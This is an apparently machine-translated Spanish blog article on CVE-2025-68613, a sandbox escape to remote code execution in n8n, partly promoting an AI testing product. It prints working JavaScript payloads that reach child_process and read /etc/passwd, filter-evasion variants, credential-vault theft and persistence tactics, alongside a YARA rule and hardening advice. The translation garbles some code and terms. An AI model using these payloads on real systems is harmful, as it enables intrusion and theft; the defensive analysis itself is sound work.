En los últimos días de 2025, la comunidad DevSecOps se vio sacudida por la revelación de CVE-2025-68613una vulnerabilidad crítica con una puntuación CVSS máxima de 10.0. El objetivo era n8nla herramienta de automatización de flujos de trabajo de código abierto más popular del mundo, que sirve como sistema nervioso central para miles de empresas, orquestando datos entre CRM, bases de datos e infraestructura en la nube.
Para el ingeniero de seguridad de élite, descartar esto como una "vulnerabilidad de bajo código" es un error. CVE-2025-68613 es una clase magistral en la explotación moderna de JavaScript. Demuestra cómo el Tiempo de ejecución dinámico de Node.jscuando se combina con un Modelo de capacidad de los objetos y Prototipo Contaminación pueden convertirse en armas para transformar una plataforma de automatización benigna en una cabeza de playa a nivel de raíz.
Este artículo abandona la información superficial para realizar una disección a nivel de byte de las primitivas de escape del sandbox, el fallo de la vm y cómo el análisis lógico basado en IA está cambiando las reglas del juego para los equipos azules.
La arquitectura del fracaso: Por qué el Node.js vm Módulo Pausas
Para entender el exploit, primero debemos entender el entorno. n8n permite a los usuarios manipular datos utilizando expresiones JavaScript, normalmente envueltas en {{ }} sintaxis. Para ejecutar este código de usuario no fiable, n8n (antes de la versión 1.122.0) se basaba en el código nativo de Node.js vm módulo.
En vm proporciona API para compilar y ejecutar código en contextos de máquina virtual V8. Permite crear una "caja de arena", un objeto contextualizado que actúa como ámbito global para el código en ejecución.
La ilusión de la "seguridad
La premisa de vm.runInNewContext(código, sandbox) es que el código dentro no puede acceder a objetos fuera del arenero objeto.
- Teoría: El arenero es una isla.
- La realidad: La isla está conectada al continente por puentes (la cadena de prototipos).
Si la aplicación host pasa cualquier en la caja de arena (por ejemplo, exponiendo variables de entorno a través de env.proceso o funciones de utilidad a través de un ayudantes objeto), el aislamiento se ve comprometido. En el caso de n8n, el contexto de ejecución incluía referencias a los datos del flujo de trabajo, que implícitamente enlazaban con el grafo de objetos del entorno anfitrión.
Aspectos técnicos clave: El Node.js vm es el módulo no un mecanismo de seguridad. Es un mecanismo de alcance. Como advierte explícitamente la documentación de Node.js: "No lo utilice para ejecutar código no fiable". CVE-2025-68613 es la consecuencia directa de ignorar esta advertencia.

Anatomía del exploit: De la cadena de prototipos al RCE
La primitiva del exploit para CVE-2025-68613 gira en torno a atravesar la cadena de prototipos de JavaScript para escapar de la amenaza vm y acceder al contexto Función constructor.
La técnica de escalada "Constructor
En JavaScript, los objetos heredan propiedades de sus prototipos.
este: Dentro de la expresión n8n,estese refiere al objeto de contexto del sandbox.this.constructor: Apunta a la función que creó el objeto de contexto. En la mayoría de los casosvmesto se resuelve conObjetoconstructor en la caja de arena.this.constructor.constructor: Aquí está la brecha. Porque elObjetodentro de la caja de arena se deriva en última instancia de las primitivas del motor V8, atravesando su constructor a menudo se resuelve a la Entorno de acogidaFunciónconstructor.
Una vez que un atacante posee el Función tienen efectivamente un eval() equivalente que se ejecuta en el contexto del Host, fuera del sandbox.
Código Kill Chain
Desglosemos la lógica de una carga útil armada diseñada para eludir los filtros básicos.
JavaScript
`// Paso 1: Escapar del Sandbox // Accedemos al constructor de la Foreign Function (Contexto Host) const ForeignFunction = this.constructor.constructor;
// Paso 2: Salvando las distancias // Usamos la Foreign Function para crear un cierre que devuelva el objeto 'process'. // Esta nueva función NO está sujeta a las restricciones del sandbox. const getProcess = ForeignFunction('return process');
// Paso 3: Ejecución // Ejecutamos la función para recuperar el handle global del proceso. const proc = getProcess();
// Paso 4: Importar Capacidades // Usamos process.mainModule para acceder al cargador de módulos interno. const require = proc.mainModule.require;
// Paso 5: Armado // Cargamos 'child_process' y ejecutamos un comando shell. const result = require('child_process').execSync('cat /etc/passwd').toString();`
En el contexto de un flujo de trabajo n8n, toda esta cadena se minifica y se inyecta en un campo de expresión legítimo, como una variable de nodo "Set" o un valor de cabecera HTTP Request.
Evasión avanzada: Eludir el análisis estático
Cuando CVE-2025-68613 fue susurrado por primera vez en los círculos privados de bug bounty, algunos administradores intentaron mitigarlo utilizando reglas WAF o filtros regex bloqueando palabras clave como proceso, constructoro requiere.
Para un lenguaje dinámico como JavaScript, el filtrado estático es trivial de eludir.
Técnica A: Aritmética de cadenas y codificación
Los atacantes pueden reconstruir palabras clave prohibidas en tiempo de ejecución utilizando concatenación de cadenas o códigos de caracteres ASCII.
JavaScript
`{{ // Bypassing "constructor" and "process" regex filters (() => { const c = "con" + "structor"; const p = "pro" + "cess";
// Usando la notación de acceso a matrices en lugar de la notación de puntos
const foreignFunc = this[c][c];
const proc = foreignFunc("return " + p)();
return proc.mainModule.require("proceso_hijo").execSync("id").toString();
})() }}`
Técnica B: La API Reflect y la ofuscación de proxy
Los exploits avanzados utilizan la Reflect API para inspeccionar e invocar propiedades sin nombrarlas directamente, lo que dificulta considerablemente el análisis del árbol de sintaxis abstracta (AST) para las herramientas de seguridad tradicionales.
JavaScript
`{{ // Usando Reflect para encontrar dinámicamente el constructor sin nombrarlo const keys = Reflect.ownKeys(this.proto); constKey = keys.find(k => k.toString().charCodeAt(0) == 99); // 'c'
const ForeignFunction = Reflect.get(this, consKey)[consKey];
// Proceder con RCE...
}}`
Esto demuestra por qué la concordancia de patrones es fundamentalmente defectuosa contra vulnerabilidades lógicas en lenguajes interpretados.
Post-Explotación: n8n como el último pivote C2
Obtener RCE en una instancia de n8n es a menudo más valioso que comprometer un servidor web estándar. n8n se encuentra en la intersección de las tuberías de datos más sensibles de una organización.
1. Bóveda de credenciales
n8n almacena las credenciales de los servicios conectados (AWS, Stripe, Salesforce, PostgreSQL) en su base de datos interna (por defecto SQLite ubicada en ~/.n8n/database.sqlite). Mientras estos están encriptados, un RCE permite al atacante:
- Leer la clave de cifrado de la variable de entorno (
N8N_ENCRYPTION_KEY) o elconfigarchivo. - Desencriptar todo el almacén de credenciales.
- Pivotar lateralmente en la infraestructura de la nube utilizando claves válidas de alto privilegio.
2. Persistencia sin archivos
El malware tradicional deposita un archivo binario en el disco, que las soluciones EDR (Endpoint Detection and Response) pueden analizar.
En n8n, un atacante puede crear un "Shadow Workflow":
- Disparador: Un nodo "Cron" configurado para ejecutarse cada 10 minutos.
- Acción: Un nodo "Función" que ejecuta JavaScript malicioso (por ejemplo, un shell inverso o un script de exfiltración de datos).
- Almacenamiento: El malware existe sólo como un objeto JSON en la base de datos n8n. Es sin archivospersistente y se integra en la lógica empresarial legítima.
Detección lógica basada en IA: La ventaja de Penligent
Detectar CVE-2025-68613 es una pesadilla para los escáneres DAST (Dynamic Application Security Testing) tradicionales.
- El problema: Los escáneres se basan en "blind fuzzing". Envían cargas útiles como
' O 1=1 --o<script>alert(1)</script>. Contra un motor de expresión, estas cargas útiles simplemente provocan errores de sintaxis. El flujo de trabajo falla, y el escáner informa "Limpio". - La brecha lógica: Para detectarlo, una herramienta debe comprender Sintaxis de JavaScript y Contexto del flujo de trabajo.
Aquí es donde Penligent.ai representa un cambio de paradigma. Penligent utiliza Agentes de IA conscientes del contexto que realizan análisis semánticos:
- Fuzzing sintáctico: Los agentes de Penligent reconocen la
{{ }}como punto de inyección de código. En lugar de cadenas aleatorias, el agente construye objetos JavaScript válidos. - Exploración de la capacidad de los objetos: El agente inyecta sondas seguras para probar los límites del sandbox (por ejemplo,
{{ this.constructor.name }}). Analiza la salida. Si ve "Objeto" o "Función", deduce que la cadena de prototipos está intacta. - Mutación de ofuscación: Si se bloquea una sonda (por ejemplo, "Acceso denegado"), la IA de Penligent refactoriza automáticamente la carga útil utilizando las técnicas de evasión mencionadas anteriormente (aritmética de cadenas, API Reflect) para verificar si el bloqueo es meramente superficial.
Al simular la metodología iterativa de un investigador humano, Penligent valida la explotabilidad de la lógica, proporcionando una Prueba de Concepto (PdC) en lugar de un falso positivo.
Manual del Equipo Azul: Detección y defensa
Para el Blue Team, la mitigación de CVE-2025-68613 requiere una estrategia de defensa en profundidad que asuma que la capa de aplicación podría ser violada.
1. Firmas de red (YARA/Snort)
Aunque el cifrado de la carga útil dificulta la detección en la red, muchos atacantes utilizan cargas útiles predeterminadas. Vigile las peticiones HTTP POST a /descanso/flujos de trabajo que contengan patrones JavaScript sospechosos.
Ejemplo de regla YARA:
rule DETECT_N8N_EXPRESSION_INJECTION { meta: description = "Detecta intentos de escape de sandbox JS en n8n (CVE-2025-68613)" severity = "Critical" strings: $token_start = "{{" $js_constructor = "constructor" $js_process = "process.mainModule" $js_child = "child_process" $js_char_code = "String.fromCharCode" $js_reflect = "Reflect.get" condition: $token_start and (2 of ($js_*)) }
2. Endurecimiento arquitectónico
- Containerización: Nunca ejecute n8n como root. Utilice contenedores Docker sin raíz con un sistema de archivos de solo lectura.
- Caída de la tapa: Ejecute el contenedor con
-cap-drop=ALLpara evitar la escalada de privilegios incluso después de RCE. - Filtrado de salida: Configure las políticas de red de Kubernetes o los grupos de seguridad de AWS para bloquear todo el tráfico saliente del contenedor n8n, excepto las API de la lista blanca necesarias para los flujos de trabajo. Esto elimina la conexión de shell inversa.
3. Entorno de bloqueo
Establecer la variable de entorno N8N_BLOCK_ENV_ACCESS_IN_NODE=true. Esta función, introducida en versiones posteriores, intenta bloquear el acceso a env.proceso desde dentro de los nodos, mitigando el robo de credenciales incluso si se consigue la ejecución de código.
Conclusiones: El fin de la confianza implícita
CVE-2025-68613 marca un antes y un después en la seguridad de las plataformas Low-Code. Nos recuerda que la flexibilidad es enemiga de la seguridad. Cuando concedemos a los usuarios el poder de un lenguaje Turing-completo como JavaScript para manipular datos, les estamos invitando a entrar en el núcleo de nuestra aplicación.
El futuro de la automatización segura no está en "mejores filtros regex" o "parches vm módulos", sino en tecnologías de aislamiento arquitectónico como WebAssembly (Wasm) o Aislados V8que proporcionan un verdadero sandboxing a prueba de memoria. Hasta entonces, los parches rigurosos, las pruebas basadas en IA y una segmentación agresiva de la red siguen siendo nuestra única defensa.

